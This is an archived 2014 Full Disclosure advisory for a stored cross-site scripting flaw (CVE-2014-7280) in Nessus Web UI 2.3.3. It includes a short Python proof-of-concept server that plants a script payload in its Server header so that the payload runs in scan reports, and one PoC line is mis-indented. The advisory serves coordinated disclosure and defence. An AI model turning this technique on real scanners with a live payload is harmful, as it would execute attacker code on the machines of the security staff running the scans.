full-disclosure

Open Source and information security mailing list archives

Message-ID: <D0597395.12C5%release@thesecurityfactory.be>
Date: Tue, 7 Oct 2014 16:01:06 +0000
From: The Security Factory <release@...securityfactory.be>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Nessus Web UI 2.3.3: Stored XSS

Nessus Web UI 2.3.3: Stored XSS
=========================================================

CVE number: CVE-2014-7280
Permalink: http://www.thesecurityfactory.be/permalink/nessus-stored-xss.html
Vendor advisory: http://www.tenable.com/security/tns-2014-08

-- Info --

Nessus is a proprietary comprehensive vulnerability scanner which is developed by Tenable Network Security. Tenable Network Security estimates that it is used by over 75,000 organisations worldwide.

-- Affected version -

Web UI version 2.3.3, Build #83

-- Vulnerability details --

By setting up a malicious web server that returns a specially crafted host header, an attacker is able to execute javascript code on the machine of the person performing a vulnerability scan of the web server. No escaping on javascript code is being performed when passing the server header to the affected Web UI version via a plugin.
The javascript code will be stored in the backend database, and will execute every time the target views a report that returns the server header.

-- POC --

#!/usr/bin/env python
import sys
from twisted.web import server, resource
from twisted.internet import reactor
from twisted.python import log

class Site(server.Site):
    def getResourceFor(self, request):
        request.setHeader('server', '<script>alert(1)</script>SomeServer')
        return server.Site.getResourceFor(self, request)

class HelloResource(resource.Resource):
    isLeaf = True
    numberRequests = 0

    def render_GET(self, request):
        self.numberRequests += 1
        request.setHeader("content-type", "text/plain")
return "theSecurityFactory Nessus POC"

log.startLogging(sys.stderr)
reactor.listenTCP(8080, Site(HelloResource()))
reactor.run()

-- Solution --

This issue has been fixed as of version 2.3.4 of the WEB UI.

-- Timeline --

2014-06-12   Release of Web UI version 2.3.3, build#83

2014-06-13        Vulnerability discovered and creation of POC

2014-06-13        Vulnerability responsibly reported to vendor

2014-06-13        Vulnerability acknowledged by vendor

2014-06-13        Release of Web UI version 2.3.4, build#85

2014-XX-XX        Advisory published in coordination with vendor

-- Credit --

Frank Lycops
Frank.lycops [at] thesecurityfactory.be

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives